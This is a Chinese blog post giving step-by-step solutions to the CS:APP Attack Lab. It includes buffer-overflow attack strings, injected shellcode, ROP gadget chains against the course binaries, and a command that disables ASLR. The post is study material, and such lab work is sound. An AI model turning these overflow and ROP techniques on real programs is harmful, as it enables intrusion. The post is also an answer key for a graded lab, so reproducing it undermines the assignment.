CS:APP attackLab解决办法

Part Ⅰ:Code Injection Attacks

level1

首先得到getbuf的反汇编代码:

发现栈的大小是0x28,即40个字节

然后我们再来查看touch1的地址,运行与不运行ctarget得到的touch1的地址是不一样的。这里我们取运行后的地址0x00005555555559f6 (一般都是取运行后的地址)
在这里插入图片描述
前四十位占满栈的空间 并用小端法输出touch1的地址 就得到了我们的答案

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
f6 59 55 55 55 55 00 00

将答案写入一个名为exploit.txt的文档中
首先要关掉ASLR才能利用./hex2raw < solution1>attack.txtgdb ./ctargetr < attack.txt验证答案

在命令行中输入:
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

cat exploit.txt | ./hex2raw | ./ctarget -q(输入-q不会返回成绩)
解决完第一个~

level2

得到运行后touch2的地址:0x0000555555555a24

得到inject.s

mov $0x72633e13,%rdi //将cookie值移入到%rdi寄存器中
mov $0x0000555555555a24,%rsi//将touch2的值移入到%rsi寄存器中
push %rsi//地址入栈,配合ret跳转
ret//pop,跳转到touch2

输入gcc -c inject.sobjdump -d inject.o > inject.d得到机器代码文件inject.d

inject.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 13 3e 63 72 	mov    $0x72633e13,%rdi
   7:	48 be 24 5a 55 55 55 	movabs $0x555555555a24,%rsi
   e:	55 00 00 
  11:	56                   	push   %rsi
  12:	c3                   	retq   

利用gdb打断点查看rsp的地址为0x55685d98

前四十位用机器代码中的数字填充,并用小端法输出rsp的地址
得到答案

48 c7 c7 13 3e 63 72 48
be 24 5a 55 55 55 55 00
00 56 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 5d 68 55 00 00 00 00

在这里插入图片描述
解决完第二个~

level3

首先得到运行后的touch3的起始地址为0x0000555555555b3b

由level2可知,%rsp的地址为0x55685d98由于栈的大小为0x28,cookie值考虑是否能存入test()的栈帧(父栈),放入更深的栈,%rsp之上,返回地址之上八个字节。即:
0x55685d98 + 0x28 + 0x8 = 0x55685dc8

原来我们的cookie值为0x72633e13,使用man ascii指令或者直接查表可得cookie:ASCII表示的字符串:37 32 36 33 33 65 31 33

于是我们得到了要插入的代码inject2.s

mov $0x55685dc8,%rdi//$0x55685dc8为存放cookie的地址
mov $0x0000555555555b3b,%rsi//将touch3的首地址先存到寄存器中
push %rsi//然后push进栈
ret

运行gcc -c inject2.sobjdump -d inject2.o > inject2.d得到机器代码文件inject2.d

inject2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 c8 5d 68 55 	mov    $0x55685dc8,%rdi
   7:	48 be 3b 5b 55 55 55 	movabs $0x555555555b3b,%rsi
   e:	55 00 00 
  11:	56                   	push   %rsi
  12:	c3                   	retq   

攻击字符串组成为
自己的函数+填充字节+覆盖返回地址+cookie存入返回地址以上

//存放自己插入的函数的地址
48 c7 c7 c8 5d 68 55 48
be 3b 5b 55 55 55 55 00 
00 56 c3 00 00 00 00 00
//消耗栈的空间
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//%rsp的地址
98 5d 68 55 00 00 00 00
//cookie ASCII表示的字符串 字符串之后要加00表示结束
37 32 36 33 33 65 31 33 00

以上的level3.txt即为我们的答案
在这里插入图片描述
解决完第三个~

Part Ⅱ Return-Oriented Programming

level2

先想办法进行cookie的存放操作

popq %rax //找58
movq %rax,%rdi //找48 89 c7

输入指令objdump -d rtarget得到很多函数的反汇编代码,从中挑选出我们需要的

0000000000001bde <addval_189>:
    1bde:	8d 87 58 90 c3 41    	lea    0x41c39058(%rdi),%eax
    1be4:	c3                   	retq   

根据我们之前的经验,gadget1运行后58所在的位置的地址应该是0x0000555555555be0

0000000000001c09 <setval_348>:
    1c09:	c7 07 82 48 89 c7    	movl   $0xc7894882,(%rdi)
    1c0f:	c3                   	retq   

gadget2运行后48开始所在地址为0x0000555555555c0c

如图,反汇编得到rtarget中touch2的运行后地址为0x0000555555555a24

最后,我们就得到了答案phase2.txt

//前40个只是为了填充缓冲区
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//小端法输出gadget1的地址
e0 5b 55 55 55 55 00 00
//小端法输出cookie值
13 3e 63 72 00 00 00 00
//小端法输出gadget2的地址
0c 5c 55 55 55 55 00 00
//小端法输出touch2的初始地址
24 5a 55 55 55 55 00 00

运行一下,成功~

成功解决第四个~

level3

在farm中要找的值为
1.48 89 e0
2.04 ?
3.48 89 c7
输入指令objdump -d rtarget得到很多函数的反汇编代码,从中挑选出我们需要的

0000000000001c87 <getval_283>:
    1c87:	b8 48 89 e0 90       	mov    $0x90e08948,%eax
    1c8c:	c3                   	retq   



0000000000001c16 <add_xy>:
    1c16:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
    1c1a:	c3                   	retq   


0000000000001c09 <setval_348>:
    1c09:	c7 07 82 48 89 c7    	movl   $0xc7894882,(%rdi)
    1c0f:	c3                   	retq   

gadget1运行后地址为0x0000555555555c88
gadget2运行后地址为0x0000555555555c18
gadget3运行后地址为0x0000555555555c0c

如图rtarget中touch3的运行后地址为0x0000555555555b3b

得到答案phase3.txt

//前四十个只是为了填满缓冲区
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00


//小端法输出gadget1的地址
88 5c 55 55 55 55 00 00
//小端法输出gadget2的地址
18 5c 55 55 55 55 00 00
//小端法输出gadget3的地址
0c 5c 55 55 55 55 00 00 
//小端法输出touch3的地址
3b 5b 55 55 55 55 00 00

//以gadget1为准 偏移0x37,即55,55-24=31,31个填充,使偏移量正确
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 

//cookie字符串
37 32 36 33 33 65 31 33 00

验证一下,发现正确~

解决了第五个~

完结撒花~
这篇文章只是记录attackLab的解决办法,具体为什么等以后更清晰了再写一篇博客记录~

觉崽的第一篇blog!

猜你喜欢

转载自blog.csdn.net/weixin_45784337/article/details/110061968
今日推荐